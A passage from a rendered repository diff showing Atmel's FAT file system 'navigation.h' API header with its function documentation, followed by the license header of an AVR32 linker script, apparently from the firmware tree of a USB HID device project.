* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
#ifndef _NAVIGATION_H_
|
||||
#define _NAVIGATION_H_
|
||||
|
||||
#include "fs_com.h"
|
||||
#include "fat.h"
|
||||
|
||||
//! \name nav_filelist_set() options parameter
|
||||
//! @{
|
||||
#define FS_FIND_NEXT true //!< move in list to next file
|
||||
#define FS_FIND_PREV false //!< move in list to previous file
|
||||
//! @}
|
||||
|
||||
|
||||
//**********************************************************************
|
||||
//************************ String format select ************************
|
||||
|
||||
//! This function selects the UNICODE mode for all routines with FS_STRING parameter
|
||||
//!
|
||||
//! @verbatim
|
||||
//! If you have enabled the FS_ASCII AND FS_UNICODE define
|
||||
//! then FS_STRING parameter can be a ASCII or UNICODE string.
|
||||
//! @endverbatim
|
||||
//!
|
||||
void nav_string_unicode( void );
|
||||
|
||||
//! This function selects the ASCII mode for all routines with FS_STRING parameter
|
||||
//!
|
||||
//! @verbatim
|
||||
//! If you have enabled the FS_ASCII AND FS_UNICODE define
|
||||
//! then FS_STRING parameter can be a ASCII or UNICODE string.
|
||||
//! @endverbatim
|
||||
//!
|
||||
void nav_string_ascii( void );
|
||||
|
||||
//! This function selects the LENGTH string mode for all routines with FS_STRING parameter
|
||||
//!
|
||||
//! @verbatim
|
||||
//! In LENGTH string mode when you call a routine with FS_STRING parameter
|
||||
//! only the size (16bits, unit ASCII or UNICODE) is returned in the first 16bits of string array.
|
||||
//! @endverbatim
|
||||
//!
|
||||
void nav_string_length_enable( void );
|
||||
|
||||
//! This function deselects the LENGTH string mode for all routines with FS_STRING parameter
|
||||
//!
|
||||
//! @verbatim
|
||||
//! In LENGTH string mode when you call a routine with FS_STRING parameter
|
||||
//! only the size (16bits, unit ASCII or UNICODE) is returned in the first 16bits of string array.
|
||||
//! @endverbatim
|
||||
//!
|
||||
void nav_string_length_disable( void );
|
||||
|
||||
//**********************************************************************
|
||||
//********************** To optimize speed access **********************
|
||||
|
||||
//! This function disables the disk check before each actions on disk
|
||||
//!
|
||||
//! @verbatim
|
||||
//! By default, between each read/write access a check disk (test unit ready) is sended at device.
|
||||
//! This check can reduce the speed access on specific disk.
|
||||
//! @endverbatim
|
||||
//!
|
||||
void nav_checkdisk_disable( void );
|
||||
|
||||
//! This function enables the disk check before each actions on disk
|
||||
//!
|
||||
//! @verbatim
|
||||
//! By default, between each read/write access a check disk (test unit ready) is sended at device.
|
||||
//! This check can reduce the speed access on specific disk.
|
||||
//! @endverbatim
|
||||
//!
|
||||
void nav_checkdisk_enable( void );
|
||||
|
||||
|
||||
//**********************************************************************
|
||||
//************** Initialise or Stop navigation module ******************
|
||||
|
||||
|
||||
//! This function resets ALL navigations to init file system core
|
||||
//!
|
||||
//! @verbatim
|
||||
//! Call this at the program startup or before a new session (e.g. USB Device exit)
|
||||
//! @endverbatim
|
||||
//!
|
||||
void nav_reset( void );
|
||||
|
||||
//! This function flush ALL navigations before exit of file system core
|
||||
//!
|
||||
//! @verbatim
|
||||
//! Call this at the program exit or before a USB Device session
|
||||
//! @endverbatim
|
||||
//!
|
||||
void nav_exit( void );
|
||||
|
||||
//! This function selects the navigation to use
|
||||
//!
|
||||
//! @param u8_idnav navigator identifier to select (0 to FS_NB_NAVIGATOR-1)
|
||||
//!
|
||||
//! @return false if ID navigator don't exist
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_select( uint8_t u8_idnav );
|
||||
|
||||
//! This function returns the navigation identifier used
|
||||
//!
|
||||
//! @return u8_idnav navigator identifier selected
|
||||
//!
|
||||
uint8_t nav_get( void );
|
||||
|
||||
//! This function copys the navigator information to another navigator
|
||||
//!
|
||||
//! @param u8_idnav navigator identifier where the main navigator will be copied
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
//! @verbatim
|
||||
//! Use this routine to select quickly the same file in another navigator
|
||||
//! @endverbatim
|
||||
//!
|
||||
Bool nav_copy( uint8_t u8_idnav );
|
||||
|
||||
|
||||
//**********************************************************************
|
||||
//********************* Drive navigation functions *********************
|
||||
|
||||
|
||||
//! This function returns the number of devices availabled
|
||||
//!
|
||||
//! @return number of devices, 0 = NO DEVICE AVAILABLED
|
||||
//!
|
||||
//! @verbatim
|
||||
//! This value may be dynamic because it depends of memory drivers (e.g. Mass Storage disk on USB host mode)
|
||||
//! @endverbatim
|
||||
//!
|
||||
uint8_t nav_drive_nb( void );
|
||||
|
||||
//! This function selects a drive in navigator but don't mount the disk partition
|
||||
//!
|
||||
//! @param u8_number device number (0 to nav_drive_nb()-1 )
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_drive_set( uint8_t u8_number );
|
||||
|
||||
//! This function returns the selected drive number
|
||||
//!
|
||||
//! @return 0 to nav_drive_nb()-1
|
||||
//! @return 0xFF in case of no drive selected
|
||||
//!
|
||||
uint8_t nav_drive_get( void );
|
||||
|
||||
//! This function returns the selected drive letter
|
||||
//!
|
||||
//! @return 'A','B',...
|
||||
//! @return 'X', in case of no drive selected
|
||||
//!
|
||||
uint8_t nav_drive_getname( void );
|
||||
|
||||
//! This function formats the current drive (=disk)
|
||||
//!
|
||||
//! @param u8_fat_type Select the format type<br>
|
||||
//! FS_FORMAT_DEFAULT, The system chooses the better FAT format <br>
|
||||
//! FS_FORMAT_FAT, The FAT12 or FAT16 is used to format the drive, if possible (disk space <2GB) <br>
|
||||
//! FS_FORMAT_FAT32, The FAT32 is used to format the drive, if possible (disk space >32MB) <br>
|
||||
//! FS_FORMAT_NOMBR_FLAG, if you don't want a MRB on the disk then add this flag (e.g. specific partition structure on a CD support)
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
//! @verbatim
|
||||
//! WARNING: This routine can't format a multi-partiton, if the disk contains a multi-partition
|
||||
//! then this one is erased and replaced by a single partition on ALL disk space.
|
||||
//! @endverbatim
|
||||
//!
|
||||
Bool nav_drive_format( uint8_t u8_fat_type );
|
||||
|
||||
|
||||
//**********************************************************************
|
||||
//******************* Partition navigation functions *******************
|
||||
|
||||
|
||||
//! This function returns the number of partitions present on drive
|
||||
//!
|
||||
//! @return u8_number number of partitions
|
||||
//!
|
||||
uint8_t nav_partition_nb( void );
|
||||
|
||||
//! This function selects a partition on drive
|
||||
//!
|
||||
//! @param partition_number partition number (0 to 3)
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_partition_set( uint8_t partition_number );
|
||||
|
||||
//! This function mounts the selected partition
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
//! @verbatim
|
||||
//! If the FS_MULTI_PARTITION option is disabled
|
||||
//! then the mount routine selects the first partition supported by file system. <br>
|
||||
//! After mount, the file list contains files and directories of ROOT directory
|
||||
//! @endverbatim
|
||||
//!
|
||||
Bool nav_partition_mount( void );
|
||||
|
||||
//! This function gives the partition type
|
||||
//!
|
||||
//! @return partition type: FS_TYPE_FAT_12, FS_TYPE_FAT_16, FS_TYPE_FAT_32
|
||||
//! @return FS_TYPE_FAT_UNM, in case of error or unknow format
|
||||
//!
|
||||
uint8_t nav_partition_type( void );
|
||||
|
||||
//! This function reads or writes the serial number on the selected partition
|
||||
//!
|
||||
//! @param b_action to select the action <br>
|
||||
//! FS_SN_READ to read serial number <br>
|
||||
//! FS_SN_WRITE to write serial number <br>
|
||||
//! @param a_u8_sn pointer on an array (4 bytes) <br>
|
||||
//! if FS_SN_READ, then the array is used to store the serial number <br>
|
||||
//! if FS_SN_WRITE, then the array is used to give the new serial number <br>
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_partition_serialnumber( Bool b_action , uint8_t _MEM_TYPE_SLOW_ *a_u8_sn );
|
||||
|
||||
//! This function reads or writes the label of selected partition
|
||||
//!
|
||||
//! @param b_action to select the action <br>
|
||||
//! FS_LABEL_READ to read label <br>
|
||||
//! FS_LABEL_WRITE to write label <br>
|
||||
//! @param sz_label pointer on a ASCII string (11 chars + NULL terminator =12 bytes) <br>
|
||||
//! if FS_LABEL_READ, then the string is used to store label <br>
|
||||
//! if FS_LABEL_WRITE, then the string is used to give the new label <br>
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_partition_label( Bool b_action , FS_STRING sz_label );
|
||||
|
||||
//! This function returns partition total space
|
||||
//!
|
||||
//! @return number of sectors
|
||||
//! @return 0, in case of error
|
||||
//!
|
||||
//! @verbatim
|
||||
//! You shall mounted the partition before call this routine
|
||||
//! @endverbatim
|
||||
//!
|
||||
uint32_t nav_partition_space( void );
|
||||
|
||||
//! This function returns the partition cluster size
|
||||
//!
|
||||
//! @return cluster size (unit sector)
|
||||
//!
|
||||
uint8_t nav_partition_cluster_size( void );
|
||||
|
||||
//! This function returns the partition free space
|
||||
//!
|
||||
//! @return number of free sectors
|
||||
//! @return 0 in case of error or full partition
|
||||
//!
|
||||
//! @verbatim
|
||||
//! You shall mounted the partition before call this routine
|
||||
//! @endverbatim
|
||||
//!
|
||||
uint32_t nav_partition_freespace( void );
|
||||
|
||||
//! This function returns the partition space free in percent
|
||||
//!
|
||||
//! @return percent of free space (0% to 100%)
|
||||
//! @return 0% in case of error or full partition
|
||||
//!
|
||||
//! @verbatim
|
||||
//! To speed up the compute, the resultat have an error delta of 1%
|
||||
//! @endverbatim
|
||||
//!
|
||||
uint8_t nav_partition_freespace_percent( void );
|
||||
|
||||
|
||||
//**********************************************************************
|
||||
//****************** File list navigation functions ********************
|
||||
|
||||
//! To display in File List only the files OR directories
|
||||
//!
|
||||
//! @param b_type FS_DIR to display only directories presence <br>
|
||||
//! FS_FILE to dispaly only files presence <br>
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_filelist_single_enable( Bool b_type );
|
||||
|
||||
//! To display in File List the directories AND files
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_filelist_single_disable( void );
|
||||
|
||||
//! This function resets the selection pointer, so "no file selected" in file list
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_filelist_reset( void );
|
||||
|
||||
//! This function checks if a file is selected
|
||||
//!
|
||||
//! @return true if a file is selected
|
||||
//! @return false if no file is selected
|
||||
//!
|
||||
Bool nav_filelist_validpos( void );
|
||||
|
||||
//! This function checks if no file is open
|
||||
//!
|
||||
//! @return true if no file is open
|
||||
//! @return false if a file is open
|
||||
//!
|
||||
Bool nav_filelist_fileisnotopen( void );
|
||||
|
||||
//! This function moves the selection pointer in file list
|
||||
//!
|
||||
//! @param u16_nb numbers of file to jump before stopping action <br>
|
||||
//! 0, stop at the first file found <br>
|
||||
//! 1, stop at the second file found <br>
|
||||
//!
|
||||
//! @param b_direction search direction <br>
|
||||
//! FS_FIND_NEXT, move to next file or directory
|
||||
//! FS_FIND_PREV, move to previous file or directory
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
//! @verbatim
|
||||
//! Note: if no file is selected then nav_filelist_set( 0 , FS_NEXT ) goes to the first entry of the file list.
|
||||
//! @endverbatim
|
||||
//!
|
||||
Bool nav_filelist_set( uint16_t u16_nb , Bool b_direction );
|
||||
|
||||
//! This function returns the position of selected file in file list
|
||||
//!
|
||||
//! @return position of selected file (0 is the first position)
|
||||
//! @return FS_NO_SEL, in case of no file selected
|
||||
//!
|
||||
uint16_t nav_filelist_get( void );
|
||||
|
||||
//! This function goes at a position in file list
|
||||
//!
|
||||
//! @param u16_newpos new position to select (0 is the first position)
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_filelist_goto( uint16_t u16_newpos );
|
||||
|
||||
//! This function searchs a file name in file list
|
||||
//!
|
||||
//! @param sz_name name to search (UNICODE or ASCII) <br>
|
||||
//! It must be terminate by NULL or '*' value
|
||||
//! @param b_match_case false to ignore the case
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
//! @verbatim
|
||||
//! This function starts a search at the next position of the current in file list
|
||||
//! @endverbatim
|
||||
//!
|
||||
Bool nav_filelist_findname( const FS_STRING sz_name , Bool b_match_case );
|
||||
|
||||
//! This function checks the end of file list
|
||||
//!
|
||||
//! @return false, NO end of file list
|
||||
//! @return true, in case of end of list or error
|
||||
//!
|
||||
Bool nav_filelist_eol( void );
|
||||
|
||||
//! This function checks the beginning of file list
|
||||
//!
|
||||
//! @return false, it is not the beginning of file list
|
||||
//! @return true, in case of the file selected is the first file, or in case of error
|
||||
//!
|
||||
Bool nav_filelist_bol( void );
|
||||
|
||||
//! This function checks the presence of files or directories in file list
|
||||
//!
|
||||
//! @param b_type FS_DIR to check the directory presence <br>
|
||||
//! FS_FILE to check the file presence <br>
|
||||
//!
|
||||
//! @return true, in case of a file or a directory exists
|
||||
//! @return false, in case of no file or no directory exists, or error
|
||||
//!
|
||||
Bool nav_filelist_exist( Bool b_type );
|
||||
|
||||
//! This function computes the number of files or directories in file list
|
||||
//!
|
||||
//! @param b_type FS_DIR to compute the number of directories <br>
|
||||
//! FS_FILE to compute the number of files <br>
|
||||
//!
|
||||
//! @return number of files or directories in file list
|
||||
//!
|
||||
uint16_t nav_filelist_nb( Bool b_type );
|
||||
|
||||
//! This function goes to at the first file or directory in file list
|
||||
//!
|
||||
//! @param b_type FS_DIR to go at the first directory <br>
|
||||
//! FS_FILE to go at the first file <br>
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_filelist_first( Bool b_type );
|
||||
|
||||
//! This function goes to at the last file or directory in file list
|
||||
//!
|
||||
//! @param b_type FS_DIR to go at the last directory <br>
|
||||
//! FS_FILE to go at the last file <br>
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_filelist_last( Bool b_type );
|
||||
|
||||
//**********************************************************************
|
||||
//************************ Index functions *****************************
|
||||
|
||||
|
||||
//! This function returns a small index on the selected file
|
||||
//!
|
||||
//! @return It is a small index structure with information on selected file (disk, partition, dir, file/dir selected)
|
||||
//!
|
||||
//! @verbatim
|
||||
//! This routine is interresting to save a file position in small variable.
|
||||
//! This pointer allow to reinit a navigator quickly with nav_gotoindex() routine.
|
||||
//! @endverbatim
|
||||
//!
|
||||
Fs_index nav_getindex( void );
|
||||
|
||||
//! This function selects a file in the navigator via a file index
|
||||
//!
|
||||
//! @param index structure with information about file to select (disk, partition, dir, file/dir selected )
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
//! @verbatim
|
||||
//! This routine allow to reinit a navigator quickly via a file index (disk, partition, dir, file/dir selected )
|
||||
//! To get a file index, you shall used the routine nav_getindex().
|
||||
//! @endverbatim
|
||||
//!
|
||||
Bool nav_gotoindex( const Fs_index _MEM_TYPE_SLOW_ *index );
|
||||
|
||||
//**********************************************************************
|
||||
//************************ Directory functions *************************
|
||||
|
||||
|
||||
//! This function initializes the file list on the root directory
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_dir_root( void );
|
||||
|
||||
//! This function check the current directory
|
||||
//!
|
||||
//! @return false the current directory selected is not the root directory
|
||||
//! @return true the current directory selected is the root directory
|
||||
//!
|
||||
Bool nav_dir_is_root( void );
|
||||
|
||||
//! This function enters in the selected directory in file list
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
//! @verbatim
|
||||
//! After this routine the file list changes and contains the files and directories of the new directory.
|
||||
//! By default no file is selected.
|
||||
//! @endverbatim
|
||||
//!
|
||||
Bool nav_dir_cd( void );
|
||||
|
||||
//! This function goes to the parent directory
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
//! @verbatim
|
||||
//! After, the file list changes and contains the files and directories of the new directory.
|
||||
//! By default, the file selected in file list is the previous (children) directory.
|
||||
//! @endverbatim
|
||||
//!
|
||||
Bool nav_dir_gotoparent( void );
|
||||
|
||||
//! This function returns the directory name corresponding at the file list
|
||||
//!
|
||||
//! @param sz_path string to store the name (ASCII or UNICODE )
|
||||
//! @param u8_size_max string size (unit ASCII or UNICODE )
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_dir_name( FS_STRING sz_path , uint8_t u8_size_max );
|
||||
|
||||
//! This function creates a directory in the directory corresponding at file list
|
||||
//!
|
||||
//! @param sz_name directory name (ASCII or UNICODE )
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_dir_make( const FS_STRING sz_name );
|
||||
|
||||
//! This function returns the full path of the selection
|
||||
//!
|
||||
//! @param sz_path string to store the path (ASCII or UNICODE )
|
||||
//! @param u8_size_path string size (unit ASCII or UNICODE )
|
||||
//! @param b_view_file_select true, to include in path the selected file name
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_getcwd( FS_STRING sz_path , uint8_t u8_size_path , Bool b_view_file_select );
|
||||
|
||||
//! This function selects a disk position via a path
|
||||
//!
|
||||
//! @param sz_path path string (ASCII or UNICODE )
|
||||
//! @param b_match_case false to ignore the case
|
||||
//! @param b_create true, if path no exists then create it <br>
|
||||
//! false, no create path <br>
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
//! @verbatim
|
||||
//! The syntact "./../../file_name" is supported.
|
||||
//! With syntact "./dir_parent/directory_name" the file list corresponding at "dir_parent" and "directory_name" is selected.
|
||||
//! With syntact "./dir_parent/directory_name/" the file list corresponding at "directory_name" and no file is selected.
|
||||
//! @endverbatim
|
||||
//!
|
||||
Bool nav_setcwd( FS_STRING sz_path , Bool b_match_case , Bool b_create );
|
||||
|
||||
|
||||
//**********************************************************************
|
||||
//*********************** File control functions ***********************
|
||||
|
||||
|
||||
//! This function returns the name of selected file
|
||||
//!
|
||||
//! @param sz_name string to store the name file (ASCII or UNICODE ) <br>
|
||||
//! @param u8_size_max string size (unit ASCII or UNICODE )
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_file_getname( FS_STRING sz_name, uint8_t u8_size_max );
|
||||
|
||||
//! This function returns the name of selected file or checks the string with the name of selected file
|
||||
//!
|
||||
//! @param b_mode action mode: <br>
|
||||
//! FS_NAME_GET to get the name of selected file <br>
|
||||
//! FS_NAME_CHECK to check the name of selected file <br>
|
||||
//! @param sz_name if FS_NAME_GET then string to store the file name (ASCII or UNICODE ) <br>
|
||||
//! if FS_NAME_CHECK then string to match with file name (ASCII or UNICODE),
|
||||
//! it must be terminated by NULL or '*' value <br>
|
||||
//! @param b_match_case false, ignore the case (only used in "FS_NAME_CHECK" action)
|
||||
//!
|
||||
//! @param u8_size_max string size (unit ASCII or UNICODE ), only used in "FS_NAME_GET" action
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_file_name( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode , Bool b_match_case );
|
||||
|
||||
//! This function returns the size of selected file (unit byte)
|
||||
//!
|
||||
//! @return Size of selected file (unit byte)
|
||||
//!
|
||||
uint32_t nav_file_lgt( void );
|
||||
|
||||
//! This function returns the size of selected file (unit sector)
|
||||
//!
|
||||
//! @return Size of selected file (unit 512B)
|
||||
//!
|
||||
uint16_t nav_file_lgtsector( void );
|
||||
|
||||
//! This function checks the write protection of disk and the attribut "read only" of selected file
|
||||
//!
|
||||
//! @return false, it is possible to modify the selected file
|
||||
//! @return true, in other case
|
||||
//!
|
||||
Bool nav_file_isreadonly( void );
|
||||
|
||||
//! This function returns the type of selected file
|
||||
//!
|
||||
//! @return true, it is a directory
|
||||
//! @return false, in other case
|
||||
//!
|
||||
Bool nav_file_isdir( void );
|
||||
|
||||
//! This function checks the extension of selected file
|
||||
//!
|
||||
//! @param sz_filterext extension filter (ASCII format, e.g.: "txt" or "txt,d*,wk" )
|
||||
//!
|
||||
//! @return true, the file extension match with extension filter
|
||||
//! @return false, in other case
|
||||
//!
|
||||
Bool nav_file_checkext( const FS_STRING sz_filterext );
|
||||
|
||||
//! This function returns the date of selected file
|
||||
//!
|
||||
//! @param type_date FS_DATE_LAST_WRITE, to get the date of last write access <br>
|
||||
//! FS_DATE_CREATION, to get the date of file creation
|
||||
//! @param sz_date ASCCI string (>17B) to store the information about date <br>
|
||||
//! "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_file_dateget( FS_STRING sz_date , Bool type_date );
|
||||
|
||||
//! This function returns the attribut of selected file
|
||||
//!
|
||||
//! @return attribut of selected file, see masks "FS_ATTR_" in fs_com.h file.
|
||||
//!
|
||||
uint8_t nav_file_attributget( void );
|
||||
|
||||
//! This function changes the date of selected file
|
||||
//!
|
||||
//! @param type_date FS_DATE_LAST_WRITE, to get the date of last write access <br>
|
||||
//! FS_DATE_CREATION, to get the date of file creation
|
||||
//! @param sz_date ASCCI string contains the date to write<br>
|
||||
//! "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_file_dateset( const FS_STRING sz_date , Bool type_date );
|
||||
|
||||
//! This function changes the attribut of selected file
|
||||
//!
|
||||
//! @param u8_attribut value to write on selected file, see masks "FS_ATTR_" in fs_com.h file.
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_file_attributset( uint8_t u8_attribut );
|
||||
|
||||
//! This function deletes the selected file or directory
|
||||
//!
|
||||
//! @param b_only_empty true, delete the directory only if empty <br>
|
||||
//! false, delete directories and files include in selected directory <br>
|
||||
//! If the selection is not a directory then this param is ignored.
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_file_del( Bool b_only_empty );
|
||||
|
||||
//! This function renames the selected directory or file
|
||||
//!
|
||||
//! @param sz_name new name (ASCII or UNICODE )
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool nav_file_rename( const FS_STRING sz_name );
|
||||
|
||||
//! This function creates a file with NULL size and NULL attribut
|
||||
//!
|
||||
//! @param sz_name file name to create (ASCII or UNICODE )
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
//! @verbatim
|
||||
//! If you ues this routine to create a file, then you must called file_open() to open this new file
|
||||
//! @endverbatim
|
||||
//!
|
||||
Bool nav_file_create( const FS_STRING sz_name );
|
||||
|
||||
//! This function updates the COPY navigator with the selected file
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
//! @verbatim
|
||||
//! If you use the COPY navigator after this routine then the copy information is lost (see FS_NAV_ID_COPYFILE in conf_explorer.h).
|
||||
//! @endverbatim
|
||||
//!
|
||||
Bool nav_file_copy( void );
|
||||
|
||||
//! This function pastes the selected file in COPY navigator in the file list of the current navigator
|
||||
//!
|
||||
//! @param sz_name file name of the new file (ASCII or UNICODE )
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
//! @verbatim
|
||||
//! After this routine, you shall called nav_file_paste_state() to run and way the copy
|
||||
//! @endverbatim
|
||||
//!
|
||||
Bool nav_file_paste_start( const FS_STRING sz_name );
|
||||
|
||||
//! This function executes the copy file
|
||||
//!
|
||||
//! @param b_stop set true to stop copy action
|
||||
//!
|
||||
//! @return copy status <br>
|
||||
//! COPY_BUSY, copy running
|
||||
//! COPY_FAIL, copy fail
|
||||
//! COPY_FINISH, copy finish
|
||||
//!
|
||||
uint8_t nav_file_paste_state( Bool b_stop );
|
||||
|
||||
#endif // _NAVIGATION_H_
|
1220
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/compiler.h
Executable file
1220
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/compiler.h
Executable file
File diff suppressed because it is too large
Load diff
|
@ -0,0 +1,266 @@
|
|||
/******************************************************************************
|
||||
* AVR32 AT32UC3B0256 GNU LD script file.
|
||||
*
|
||||
* - Compiler: GNU GCC for AVR32
|
||||
* - Supported devices: AVR32 AT32UC3B0256
|
||||
*
|
||||
* - author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
